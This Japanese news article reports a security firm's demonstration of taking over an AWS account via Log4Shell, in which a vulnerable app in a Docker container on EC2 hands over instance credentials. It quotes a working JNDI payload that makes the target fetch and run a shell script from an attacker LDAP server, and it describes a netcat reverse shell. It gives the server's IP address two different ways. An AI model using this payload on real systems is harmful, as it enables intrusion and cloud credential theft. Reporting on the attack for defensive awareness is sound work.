AWSアカウントを「Log4Shell」で乗っ取る方法が報告される

JavaのLog4jライブラリに存在していたリモートコード実行を可能にする脆弱性「CVE-2021-44228(Log4Shell)」を突いてAWSアカウントを乗っ取る方法をセキュリティ企業のGigasheetが公開しました。
AWS Account Takeover via Log4Shell
https://www.gigasheet.co/post/aws-account-takeover-via-log4shell
JavaのLog4jライブラリで発見された脆弱性「Log4Shell(CVE-2021-44228)」はなぜ世界中に大きな影響を与えるのか? - GIGAZINE

このLog4Shellに関連した問題として、セキュリティ企業のGigasheetが「Log4ShellでAWSアカウントを乗っ取る方法」を公開しました。Gigasheetによると、この方法はあくまでAWSのセキュリティ設定がずさんな場合にのみ起こりえる現象であり、AWSがLog4Shellに関する固有の問題を抱えているということを意味しているわけではないとのこと。
Gigasheetが行った実証試験は以下のような流れとなっています。まず、Log4Shellが内在しているアプリケーション(実験ではLog4Shellをテストするためだけに設計された「Log4Shell sample vulnerable application」というアプリケーションを使用)を用意します。続いてEC2インスタンス上のDockerコンテナでこのアプリケーションを実行。攻撃側として、AWSとは異なるクラウドサービスで実行した仮想マシンからLog4Shellを突くJNDI(Java Naming and Directory Interface)リクエストを送信しました。

今回送信したJNDIリクエストは、Log4Shellを有するアプリケーションに対してBase64エンコード値のLDAPクエリをポート1389番経由で悪意のあるLDAPサーバー(ここでは143.244.161.253)に向けて吐き出させる「jndi:ldap://143.244.161.235:1389/Basic/Command/Base64/L2Jpbi9zaCAvdG1wLy5iLnNo」など。

このLDAPクエリを受けて、攻撃側は悪意のあるLDAPサーバーからTCPポート8888番経由でエクスプロイトコードを送信します。

送信したエクスプロイトコードが以下。以下のコマンドは、Netcatでリバースシェルを含む「.b.sh」というスクリプトをDockerコンテナの「/tmp」ディレクトリに置き、その後「.b.sh」を実際に2回実行するという内容になっています。

攻撃を受けてからDockerコンテナ内で起こった詳細をログから完全に推察することはできませんが、攻撃側はAWSのAPIを呼び出してDockerコンテナからAWSリソースへアクセスすることに成功しました。実際にDockerコンテナを実行しているEC2インスタンスで一時的に使える認証情報を抜き出して、さまざまなAWS APIの呼び出しや全AWSリソースに対する管理者権限を有するIAMユーザーの作成、ウェブブラウザを介したAWSコンソールへのアクセスが可能になったそうです。

この現象はLog4Shellを有するアプリを実行しているDockerコンテナに高度な特権を持つIAMロールが割り当てられている場合のみ実行可能とのことで、Gigasheetはこの種のずさんな設定を見直すように呼びかけています。
